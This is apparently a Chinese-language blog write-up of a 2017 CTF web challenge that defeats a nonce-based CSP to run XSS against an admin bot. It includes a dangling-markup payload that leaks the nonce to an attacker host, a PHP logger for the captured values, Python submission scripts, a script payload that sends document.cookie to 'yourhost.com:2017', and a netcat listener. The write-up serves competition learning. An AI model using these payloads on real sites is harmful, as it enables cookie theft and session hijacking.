2017LCTF wanna hack him? writeup

题目
wanna hack him?
管理员使用了看似完美的安全配置.. 但是…
http://211.159.146.223/


注:以下出现的yourhost.com均为你自己的域名或者ip。自行准备外网ip或vps

0x01 初见

打开后,会发现一个页面,根据经验。可以判断出来这是个xss题目。
preview可以检验你的payload。
点开后会发现有csp,指定lnonce。
之前本地测试时,以为nonce不变,获取到服务器端的nonce就可以用。
没想到服务器端的nonce是会变的。
然后分析题目,如何绕过nonce,发现基本不可能,无法构造语句来使用他那里的nonce。
所以只能想到,假设nonce有生效时长,那么可以获取到nonce后,在提交xss的带有获取到nonce的payload。从而实现xss、

0x02 获取nonce

可以通过不闭合标签,来拿到后面的信息。例如
<img src='http://yourhost.com/?key=

然后我是直接将nonce发送到自己预先在服务器中写好的PHP页面,由它保存为txt。

1
2
3
4
5
6
7
8
<?php
if($_GET&&$_GET['key']){
$myfile = fopen("ctf.txt", "a+") or die("Unable to open file!");
$txt = $_GET['key']."\r\n";
fwrite($myfile, $txt);
fclose($myfile);
}
?>

然后可以搭配脚本提交。也可以自己手动提交payload。

1
2
3
4
5
6
7
8
9
10
import requests
import time
def sendNonce():
url='http://211.159.146.223/submit.php';
data={'content':"<img src='http://yourhost.com/?key=";}
r=requests.post(url,data=data)
print(r.text)
while(1):
time.sleep(5)
sendNonce()

0x03 发送payload

脚本如下,发送payload。
逻辑为:拿到nonce->取出nonce->发送带有nonce的xsspayload。
while(true); do nc -lnvp 2017; done
然后手动监听2017端口,等待flag过来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
#将获取到的信息分割,取出nonce
def getNonce(nonce):
# nonce='<p>comment here</p><script nonce="9cfd6906dff65b782ae7e24b74ae3e5e">var test='
nonce=nonce.split('here</p><script nonce="')[1].split('">var te')[0]
print('[+]'+nonce)
return(nonce)
# 访问vps端的ctf.txt。获取打到的一些nonce
def receiveNonce():
url='http://yourhost.com/ctf.txt';;
r=requests.get(url)
nonceRawList=r.text.split('\r\n')
return nonceRawList
# 发送xsspayload
def sendXSS(nonce):
con="<script nonce='"+nonce+"'>location.href='http://yourhost.com:2017/?'+document.cookie;</script><!--";;
print('[+]'+con)
url='http://211.159.146.223/submit.php';;
data={'content':con}
requests.post(url,data=data)
nonceRawList=receiveNonce()
nonce=getNonce(nonceRawList[-2])
while(1):
nonceRawList=receiveNonce()
time.sleep(0.1)
if(getNonce(nonceRawList[-2])!=nonce):
nonce=getNonce(nonceRawList[-2])
print('[-] The nonceList is receive!')
sendXSS(nonce)
sendXSS(nonce)
sendXSS(nonce)
sendXSS(nonce)
print('[-] SendXSS OK!')

flag

0x04 期间遇到的一些小坑

这道题做了7个小时多吧。很烦。最初想到获取nonce很容易,然后在后期写脚本,与测试时。
一方面由于编程习惯不佳,还有就是心态不稳,造成很多困扰。
最后联系主办方后。获取到了一些服务端信息。

bot每次只审一定量的payload。payload过多,会被刷下去。

然后考虑改进代码。因为之前是一直全速拿nonce,全速发送。

改成了5秒拿一个nonce,然后检测到nonce刷新后,立即发送多个xsspayload。
好在最后获取到了flag。但是感觉还是不在自己的预期,因为每次跑脚本,只会返回一个flag。多个payload只生效一个。

最后,期待主办方大佬放一下源码。到时候一定要认认真真看看这个bot。

p.s.初写博客,欢迎大家指点。

文章目录
  1. 1. 0x01 初见
  2. 2. 0x02 获取nonce
  3. 3. 0x03 发送payload
  4. 4. 0x04 期间遇到的一些小坑